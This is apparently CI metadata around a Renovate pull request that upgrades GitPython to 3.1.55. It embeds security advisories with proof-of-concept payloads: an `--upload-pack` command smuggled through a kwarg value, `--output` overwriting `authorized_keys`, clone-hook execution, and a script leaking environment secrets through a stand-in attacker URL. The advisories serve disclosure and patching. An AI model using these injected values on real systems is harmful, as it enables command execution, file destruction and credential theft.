          Root Cause\n`diff.py:188-283` builds and runs the diff command with no `check_unsafe_options`
          anywhere in the method (grep-confirmed). Additionally `diff.py:265` does
          `args.insert(0, other)`, placing the caller-supplied `other` ref BEFORE
          the `--` separator, so a value of `--output=/path` is parsed by git as an
          option \u2014 a value-only control path requiring no kwarg key.\n\n#####
          Impact\nOverwrite/corrupt any file at process privilege with attacker-chosen
          path (e.g. `~/.ssh/authorized_keys`, configs, lockfiles). Content is real
          diff/patch bytes (attacker-influenced). Per the skill's rule, controlling
          WHICH file is overwritten = I:H regardless of content constraints.\n\n#####
          Proof of Concept\n```python\n\n##### Key-control:\ncommit.diff(other_commit,
          output='/home/app/.ssh/authorized_keys')   # victim overwritten with diff
          (105 bytes verified)\n\n##### Value-control (attacker controls only the
          ref string):\ncommit.diff(other='--output=/home/app/.ssh/authorized_keys')
          \         # 14-byte victim -> 146 bytes of diff-tree output\n```\n\n#####
          Attack Chain\n1. Entry (value-control): `commit.diff(other=<user ref>)`
          with `other = \"--output=/home/app/.ssh/authorized_keys\"`. Guard: none
          in `Diffable.diff`. Bypass proof: no `check_unsafe_options` in the method
          body (grep); `other` inserted pre-`--` at diff.py:265.\n2. Sink: `git diff-tree
          <sha> --output=/home/app/.ssh/authorized_keys -r ...` -> git opens+truncates
          the target then writes diff content. Impact: overwrite/corrupt any file
          at process privilege (attacker chooses the path). Verified argv and victim
          overwrite live.\n\n##### Bypass Evidence\nLive-verified on HEAD (tag 3.1.53):
          both key-control (`output=`) and value-control (`other='--output=...'`)
          overwrote a victim file with real diff-tree content; argv confirmed `['git','diff-tree','<sha>','--output=/victim','-r',...]`.
          This is the same value-control model GHSA-956x deemed fix-worthy for `iter_commits(rev='--output=')`
          \u2014 but `diff` is a distinct, unguarded sink NOT touched by that fix.\n\n#####
          Affected Versions\n`<= 3.1.53`\n\n##### Suggested Fix\nAdd `check_unsafe_options`
          to `Diffable.diff` (mirroring `iter_commits`/`archive`), and/or place `--end-of-options`
          before the `other` ref so it cannot be parsed as an option.\n\n---\nReported
          by **zx (Jace)** \u2014 GitHub: @&#8203;manus-use\n\n#### Severity\n- CVSS
          Score: 8.1 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
          [https://github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6](https://redirect.github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-fjr4-x663-mwxc)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Unsafe git option guard bypass via single-character kwarg value
          token smuggling enables arbitrary command execution\n[GHSA-r9mr-m37c-5fr3](https://redirect.github.com/advisories/GHSA-r9mr-m37c-5fr3)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nGitPython's `check_unsafe_options`
          guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened
          since) can be bypassed for **every** guarded method (`clone`/`clone_from`,
          `fetch`/`pull`/`push`, `ls_remote`, `iter_commits`, `blame`, `archive`)
          by smuggling an option token inside the VALUE of a single-character kwarg.
          In the default `allow_unsafe_options=False` configuration this yields arbitrary
          command execution via `--upload-pack`.\n\n##### Root Cause\nThe guard builds
          its candidate option list from kwarg KEYS only: `_option_candidates([],
          {\"n\":\"--upload-pack=<cmd>\"})` returns `['-n']` (cmd.py:1042-1046 derives
          the candidate from the key, never the value). `-n` is not on the denylist,
          so `check_unsafe_options` passes. But `transform_kwarg('n', value, split_single_char_options=True)`
          (cmd.py:1600-1606) emits **two** argv tokens `['-n', '--upload-pack=<cmd>']`.
          git then parses the second token as `--upload-pack` and executes the attacker-supplied
          command. The guard never inspects the value that becomes a separate argv
          token.\n\n##### Impact\nArbitrary OS command execution as the host process
          (via `--upload-pack`) in the default configuration, affecting all guarded
          methods since they all build candidates through the name-only `_option_candidates`.\n\n#####
          Proof of Concept\n```python\nfrom git import Repo\nRepo.clone_from(bare_repo,
          out_dir, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")\n\n##### /tmp/ACE
          created -> ACE. Direct-name form upload_pack=\"...\" is correctly BLOCKED.\n```\nFile-write
          variant on a guarded revision command: `iter_commits('HEAD', g='--output=/path')`
          -> candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file
          truncated.\n\n##### Attack Chain\n1. Entry: app forwards a user-supplied
          options dict -> `Repo.clone_from(url, path, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")`.
          Guard: `check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)`
          at base.py. Bypass proof: `_option_candidates([], {\"n\":\"--upload-pack=...\"})`
          -> `['-n']` (key-only), not on denylist -> no UnsafeOptionError (verified
          live).\n2. Transform: `transform_kwarg('n', value, split_single_char_options=True)`
          -> `['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']`. Guard: none
          (guard already passed on name-only candidate). Bypass proof: verified transform
          emits two tokens.\n3. Sink: `git clone -n --upload-pack='touch ...;git-upload-pack'
          -- <src> <dst>`; git parses and runs the second token. Impact: ACE (marker
          created, verified end-to-end).\n\n##### Bypass Evidence\nLive-verified on
          HEAD (tag 3.1.53): `_option_candidates` returns key-only candidate `['-n']`;
          `transform_kwargs` emits the smuggled `--upload-pack=` token; clone_from
          with the payload created the marker file; the direct-name `upload_pack=`
          form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore
          key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option,
          GHSA-x2qx multi-before-split) are BLOCKED on HEAD \u2014 this is a distinct
          kwarg-value->separate-token vector.\n\n##### Affected Versions\n`<= 3.1.53`\n\n#####
          Suggested Fix\nMake `_option_candidates` also emit candidates derived from
          single-character kwarg VALUES when `split_single_char_options` is in effect,
          OR run `check_unsafe_options` over the fully-transformed argv rather than
          the reconstructed name-only candidate list.\n\n---\nReported by **zx (Jace)**
          \u2014 GitHub: @&#8203;manus-use\n\n#### Severity\n- CVSS Score: 8.8 / 10
          (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
          [https://github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453](https://redirect.github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-r9mr-m37c-5fr3)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Environment-variable exfiltration via Repo.create_remote() /
          Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)\n[GHSA-94p4-4cq8-9g67](https://redirect.github.com/advisories/GHSA-94p4-4cq8-9g67)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nThe fix for [GHSA-rwj8-pgh3-r573](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573)
          stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`,
          but it guarded only that one caller. `Remote.create()` \u2014 reached from
          the public `Repo.create_remote()` and its `Remote.add()` alias \u2014 still
          passes an attacker-influenceable URL through `Git.polish_url()` with the
          default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git`
          is expanded server-side to embed the hosting process's environment secret,
          written into `.git/config`, and then transmitted to the attacker's host
          on the next `fetch`/`pull`. This is the same primitive and same \"import
          repository from URL\" threat model the advisory describes, via the sibling
          caller the fix missed.\n\n##### Root Cause\n\nFix commit [`8ac5a305`](https://redirect.github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2)
          added an `expand_vars` parameter to `Git.polish_url()` (default `True`)
          and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)).
          The shared helper's dangerous default was left in place, and the other callers
          were not updated.\n\n[`git/remote.py:811`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811),
          `Remote.create`:\n\n```python\nurl = Git.polish_url(url)                 #
          expand_vars=True -> os.path.expandvars(url)\nif not allow_unsafe_protocols:\n
          \   Git.check_unsafe_protocols(url)       # https:// carrying the secret
          passes\nrepo.git.remote(scmd, \"--\", name, url, **kwargs)   # expanded
          URL written to .git/config\n```\n\n`check_unsafe_protocols()` runs *after*
          expansion here, so it rejects an `ext::` payload but does nothing about
          an `https://` URL that carries an expanded secret in its path or host \u2014
          the disclosure primitive.\n\nThe same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611)
          (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked
          file) and `.git/config`.\n\n##### Steps to Reproduce\n\n##### Prerequisites\n\n-
          Python 3.9+\n- `git` on `PATH` (for the fetch step)\n- GitPython 3.1.53
          (installed below)\n\n##### Step 1: Install GitPython 3.1.53 in a clean venv\n\n```bash\nmkdir
          /tmp/gp-remote-poc && cd /tmp/gp-remote-poc\npython3 -m venv venv\n./venv/bin/pip
          install gitpython==3.1.53\n```\n\n##### Step 2: Write the PoC\n\n```bash\ncat
          > poc.py <<'PYEOF'\n\n#!/usr/bin/env python3\n\"\"\"Env-var exfiltration
          via Repo.create_remote() URL. Sentinel data only.\"\"\"\nimport http.server\nimport
          os\nimport tempfile\nimport threading\n\nimport git\n\nprint(\"gitpython
          version:\", git.__version__)\n\n##### Sentinel standing in for a process
          secret such as AWS_SECRET_ACCESS_KEY.\nSENTINEL = \"leaked-a1b2c3-SENTINEL-do-not-use\"\nos.environ[\"GP_SENTINEL_SECRET\"]
          = SENTINEL\n\n##### Local HTTP server standing in for attacker.example.\ncaptured
          = []\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n
          \       captured.append(self.path)\n        self.send_response(404)\n        self.end_headers()\n\n
          \   def log_message(self, *a):\n        pass\n\nsrv = http.server.HTTPServer((\"127.0.0.1\",
          0), Handler)\nport = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever,
          daemon=True).start()\n\n##### Attacker-controlled URL handed to an \"import
          from URL\" feature.\nattacker_url = \"http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git\"
          % port\n\ndef norm(s):  # display the ephemeral listener port as a stable
          placeholder\n    return s.replace(\"127.0.0.1:%d\" % port, \"127.0.0.1:PORT\")\n\nprint(\"attacker-supplied
          URL :\", norm(attacker_url))\n\nrepo = git.Repo.init(tempfile.mkdtemp(prefix=\"gp-victim-\"))\nremote
          = repo.create_remote(\"evil\", attacker_url)   # public API\n\nstored =
          repo.remote(\"evil\").url\nprint(\"stored remote URL     :\", norm(stored))\nprint(\"SENTINEL
          in git config:\", SENTINEL in stored)\n\ntry:\n    remote.fetch()          #
          transmits the expanded URL to the attacker host\nexcept Exception:\n    pass
          \                   # fetch fails after the request is already sent\n\nsrv.shutdown()\nover_network
          = any(SENTINEL in p for p in captured)\nprint(\"HTTP paths received   :\",
          [norm(p) for p in captured])\nprint(\"SENTINEL over network :\", over_network)\n\nprint()\nif
          SENTINEL in stored and over_network:\n    print(\"VULNERABLE: env-var expanded
          into stored URL AND transmitted to attacker host\")\nelif SENTINEL in stored:\n
          \   print(\"VULNERABLE: env-var expanded into stored git-config URL\")\nelse:\n
          \   print(\"not reproduced\")\nPYEOF\n```\n\n##### Step 3: Run it\n\n```bash\ncd
          /tmp/gp-remote-poc && ./venv/bin/python poc.py\n```\n\nExpected output (the
          listener's ephemeral port is shown as `PORT`):\n\n```\ngitpython version:
          3.1.53\nattacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git\nstored
          remote URL     : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git\nSENTINEL
          in git config: True\nHTTP paths received   : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']\nSENTINEL
          over network : True\n\nVULNERABLE: env-var expanded into stored URL AND
          transmitted to attacker host\n```\n\nThe `${GP_SENTINEL_SECRET}` token in
          the supplied URL is replaced with the environment value both in the stored
          `.git/config` URL and in the request that reaches the attacker-controlled
          host.\n\n##### Suggested Fix\n\nPass `expand_vars=False` at the remaining
          URL callers, matching the clone fix:\n\n- `git/remote.py` `Remote.create`:
          `url = Git.polish_url(url, expand_vars=False)`\n- `git/objects/submodule/base.py`
          `Submodule.add`: `url = Git.polish_url(url, expand_vars=False)`\n\nMore
          robustly, flip the `Git.polish_url()` default to `expand_vars=False` (env-var
          expansion on a URL is never desirable for network remotes) and require callers
          that genuinely normalize local paths to opt in.\n\n##### Cleanup\n\n```bash\nrm
          -rf /tmp/gp-remote-poc\n```\n\n##### Impact\n\nAny secret in the hosting
          process environment (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, CI/CD tokens)
          is disclosed to an attacker who controls a remote URL passed to `Repo.create_remote()`
          / `Remote.add()`. The secret is expanded into `.git/config` immediately
          and transmitted over the network (DNS + HTTP) on the next `fetch`/`pull`/`remote
          update`. This is the documented \"import repository from URL\" attacker
          model of GHSA-rwj8-pgh3-r573 \u2014 CI servers, git-hosting mirrors, and
          dependency scanners \u2014 applied to the add-a-remote flow, which the clone-only
          fix did not cover. The same disclosure reaches `.gitmodules` (a committable
          file) via `Submodule.add()`.\n\n#### Severity\n- CVSS Score: 7.5 / 10 (High)\n-
          Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n#### References\n-
          [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67)\n-
          [https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162](https://redirect.github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.55)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-94p4-4cq8-9g67)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>gitpython-developers/GitPython (GitPython)</summary>\n\n###
          [`v3.1.55`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.55):
          - SECURITY\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55)\n\n####
          What's Changed\n\n- fix: prevent environment expansion in remote URLs by
          [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2181](https://redirect.github.com/gitpython-developers/GitPython/pull/2181)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55>\n\n###
          [`v3.1.54`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54):
          - SECURITY\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54)\n\n####
          What's Changed\n\n- Harden unsafe Git option validation by [@&#8203;Byron](https://redirect.github.com/Byron)
          in [#&#8203;2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54>\n\n</details>\n\n---\n\n###
          Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
          At any time (no schedule defined)\n- Automerge\n  - At any time (no schedule
          defined)\n\n\U0001F6A6 **Automerge**: Disabled by config. Please merge this
          manually once you are satisfied.\n\n\u267B **Rebasing**: Whenever PR becomes
          conflicted, or you tick the rebase/retry checkbox.\n\n\U0001F515 **Ignore**:
          Close this PR and you won't be reminded about these updates again.\n\n---\n\n
          - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this
          box\n\n---\n\nThis PR was generated by [Mend Renovate](https://mend.io/renovate/).
          View the [repository job log](https://developer.mend.io/github/osism/python-osism).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yODAuMCIsInVwZGF0ZWRJblZlciI6IjQzLjI4MC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZSJdfQ==-->\n"
        change_url: https://github.com/osism/python-osism/pull/2517
        commit_id: cb3246bd3a214c3cf30cc56f53059d4b457a9af7
        patchset: cb3246bd3a214c3cf30cc56f53059d4b457a9af7
        project:
          canonical_hostname: github.com
          canonical_name: github.com/osism/python-osism
          name: osism/python-osism
          short_name: python-osism
        src_dir: src/github.com/osism/python-osism
        topic: null
      change: '2517'
      change_message: "Update dependency GitPython to v3.1.55 [SECURITY]\n\nThis PR
        contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
        | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
        [GitPython](https://redirect.github.com/gitpython-developers/GitPython) |
        `==3.1.53` \u2192 `==3.1.55` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/gitpython/3.1.55?slim=true)
        | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/gitpython/3.1.53/3.1.55?slim=true)
        |\n\n---\n\n### GitPython: Incomplete unsafe_git_clone_options denylist omits
        --template enabling arbitrary command execution via clone hooks\n[GHSA-6p8h-3wgx-97gf](https://redirect.github.com/advisories/GHSA-6p8h-3wgx-97gf)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\nGitPython's `unsafe_git_clone_options`
        denylist omits `--template`. `git clone --template=<dir>` copies `<dir>/hooks/`
        into the new repository and runs them (`post-checkout` fires during clone),
        so a caller who can influence clone options can achieve arbitrary command
        execution in the default `allow_unsafe_options=False` configuration.\n\n#####
        Root Cause\n`base.py:145-152` defines `unsafe_git_clone_options = [\"--upload-pack\",\"-u\",\"--config\",\"-c\"]`
        \u2014 `--template` is absent. The guard candidate `['--template']` passes
        `check_unsafe_options` (verified). git copies the hook directory and executes
        `post-checkout` at checkout time. git's `protocol.allow`/`GIT_ALLOW_PROTOCOL`
        do not gate `--template`; the incomplete denylist is the only defense.\n\n#####
        Impact\nArbitrary OS command execution during clone (default config). Requires
        an attacker-readable directory containing an executable hook \u2014 a genuine
        second precondition (realistic via shared filesystems, upload dirs, `/tmp`,
        or attacker-writable network paths), reflected as AC:H.\n\n##### Proof of
        Concept\n```python\n\n##### attacker stages <dir>/hooks/post-checkout (chmod
        +x)\nfrom git import Repo\nRepo.clone_from(src, dst, template='<dir>')   #
        post-checkout hook executes -> marker created (verified)\n```\n\n##### Attack
        Chain\n1. Setup: attacker stages `<dir>/hooks/post-checkout` (chmod +x). Guard:
        n/a (filesystem).\n2. Entry: `Repo.clone_from(url, path, template='<dir>')`.
        Guard: `check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options)`.
        Bypass proof: `--template` not on the denylist -> passes (verified candidate
        `['--template']`, no error).\n3. Sink: git copies the hook and executes `post-checkout`
        at checkout. Impact: ACE, default config (verified marker created).\n\n#####
        Bypass Evidence\nLive-verified on HEAD (tag 3.1.53): guard candidate `['--template']`
        passed with no error; staged `post-checkout` hook executed during `clone_from`,
        creating the marker. Independent of the value-smuggle bypass (`--template`
        is a legitimate long option that survives any single-char-value fix). Not
        covered by any existing advisory.\n\n##### Affected Versions\n`<= 3.1.53`\n\n#####
        Suggested Fix\nAdd `--template` (and audit for other hook/exec-influencing
        options) to `unsafe_git_clone_options`.\n\n---\nReported by **zx (Jace)**
        \u2014 GitHub: @&#8203;manus-use\n\n#### Severity\n- CVSS Score: 7.5 / 10
        (High)\n- Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
        References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf)\n-
        [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
        [https://github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97](https://redirect.github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97)\n-
        [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
        [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
        data is provided by [OSV](https://osv.dev/vulnerability/GHSA-6p8h-3wgx-97gf)
        and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        GitPython: Arbitrary file overwrite via git diff --output argument injection
        in Diffable.diff (key- and value-controlled)\n[GHSA-fjr4-x663-mwxc](https://redirect.github.com/advisories/GHSA-fjr4-x663-mwxc)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\n`Diffable.diff()` forwards
        `**kwargs` straight into `diff`/`diff_tree` with **no** `check_unsafe_options`
        guard. `Diffable` is mixed into `Commit`, `Tree`, `IndexFile`, and `Submodule`,
        giving a broad surface. `git diff --output=<path>` writes real patch content
        to an attacker-chosen path, enabling arbitrary file overwrite.\n\n##### Root
        Cause\n`diff.py:188-283` builds and runs the diff command with no `check_unsafe_options`
        anywhere in the method (grep-confirmed). Additionally `diff.py:265` does `args.insert(0,
        other)`, placing the caller-supplied `other` ref BEFORE the `--` separator,
        so a value of `--output=/path` is parsed by git as an option \u2014 a value-only
        control path requiring no kwarg key.\n\n##### Impact\nOverwrite/corrupt any
        file at process privilege with attacker-chosen path (e.g. `~/.ssh/authorized_keys`,
        configs, lockfiles). Content is real diff/patch bytes (attacker-influenced).
        Per the skill's rule, controlling WHICH file is overwritten = I:H regardless
        of content constraints.\n\n##### Proof of Concept\n```python\n\n##### Key-control:\ncommit.diff(other_commit,
        output='/home/app/.ssh/authorized_keys')   # victim overwritten with diff
        (105 bytes verified)\n\n##### Value-control (attacker controls only the ref
        string):\ncommit.diff(other='--output=/home/app/.ssh/authorized_keys')          #
        14-byte victim -> 146 bytes of diff-tree output\n```\n\n##### Attack Chain\n1.
        Entry (value-control): `commit.diff(other=<user ref>)` with `other = \"--output=/home/app/.ssh/authorized_keys\"`.
        Guard: none in `Diffable.diff`. Bypass proof: no `check_unsafe_options` in
        the method body (grep); `other` inserted pre-`--` at diff.py:265.\n2. Sink:
        `git diff-tree <sha> --output=/home/app/.ssh/authorized_keys -r ...` -> git
        opens+truncates the target then writes diff content. Impact: overwrite/corrupt
        any file at process privilege (attacker chooses the path). Verified argv and
        victim overwrite live.\n\n##### Bypass Evidence\nLive-verified on HEAD (tag
        3.1.53): both key-control (`output=`) and value-control (`other='--output=...'`)
        overwrote a victim file with real diff-tree content; argv confirmed `['git','diff-tree','<sha>','--output=/victim','-r',...]`.
        This is the same value-control model GHSA-956x deemed fix-worthy for `iter_commits(rev='--output=')`
        \u2014 but `diff` is a distinct, unguarded sink NOT touched by that fix.\n\n#####
        Affected Versions\n`<= 3.1.53`\n\n##### Suggested Fix\nAdd `check_unsafe_options`
        to `Diffable.diff` (mirroring `iter_commits`/`archive`), and/or place `--end-of-options`
        before the `other` ref so it cannot be parsed as an option.\n\n---\nReported
        by **zx (Jace)** \u2014 GitHub: @&#8203;manus-use\n\n#### Severity\n- CVSS
        Score: 8.1 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H`\n\n####
        References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc)\n-
        [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
        [https://github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6](https://redirect.github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6)\n-
        [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
        [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
        data is provided by [OSV](https://osv.dev/vulnerability/GHSA-fjr4-x663-mwxc)
        and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        GitPython: Unsafe git option guard bypass via single-character kwarg value
        token smuggling enables arbitrary command execution\n[GHSA-r9mr-m37c-5fr3](https://redirect.github.com/advisories/GHSA-r9mr-m37c-5fr3)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\nGitPython's `check_unsafe_options`
        guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since)
        can be bypassed for **every** guarded method (`clone`/`clone_from`, `fetch`/`pull`/`push`,
        `ls_remote`, `iter_commits`, `blame`, `archive`) by smuggling an option token
        inside the VALUE of a single-character kwarg. In the default `allow_unsafe_options=False`
        configuration this yields arbitrary command execution via `--upload-pack`.\n\n#####
        Root Cause\nThe guard builds its candidate option list from kwarg KEYS only:
        `_option_candidates([], {\"n\":\"--upload-pack=<cmd>\"})` returns `['-n']`
        (cmd.py:1042-1046 derives the candidate from the key, never the value). `-n`
        is not on the denylist, so `check_unsafe_options` passes. But `transform_kwarg('n',
        value, split_single_char_options=True)` (cmd.py:1600-1606) emits **two** argv
        tokens `['-n', '--upload-pack=<cmd>']`. git then parses the second token as
        `--upload-pack` and executes the attacker-supplied command. The guard never
        inspects the value that becomes a separate argv token.\n\n##### Impact\nArbitrary
        OS command execution as the host process (via `--upload-pack`) in the default
        configuration, affecting all guarded methods since they all build candidates
        through the name-only `_option_candidates`.\n\n##### Proof of Concept\n```python\nfrom
        git import Repo\nRepo.clone_from(bare_repo, out_dir, n=\"--upload-pack=touch
        /tmp/ACE;git-upload-pack\")\n\n##### /tmp/ACE created -> ACE. Direct-name
        form upload_pack=\"...\" is correctly BLOCKED.\n```\nFile-write variant on
        a guarded revision command: `iter_commits('HEAD', g='--output=/path')` ->
        candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file truncated.\n\n#####
        Attack Chain\n1. Entry: app forwards a user-supplied options dict -> `Repo.clone_from(url,
        path, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")`. Guard: `check_unsafe_options(options=_option_candidates([],
        kwargs), unsafe=unsafe_git_clone_options)` at base.py. Bypass proof: `_option_candidates([],
        {\"n\":\"--upload-pack=...\"})` -> `['-n']` (key-only), not on denylist ->
        no UnsafeOptionError (verified live).\n2. Transform: `transform_kwarg('n',
        value, split_single_char_options=True)` -> `['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']`.
        Guard: none (guard already passed on name-only candidate). Bypass proof: verified
        transform emits two tokens.\n3. Sink: `git clone -n --upload-pack='touch ...;git-upload-pack'
        -- <src> <dst>`; git parses and runs the second token. Impact: ACE (marker
        created, verified end-to-end).\n\n##### Bypass Evidence\nLive-verified on
        HEAD (tag 3.1.53): `_option_candidates` returns key-only candidate `['-n']`;
        `transform_kwargs` emits the smuggled `--upload-pack=` token; clone_from with
        the payload created the marker file; the direct-name `upload_pack=` form raised
        UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96
        long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split)
        are BLOCKED on HEAD \u2014 this is a distinct kwarg-value->separate-token
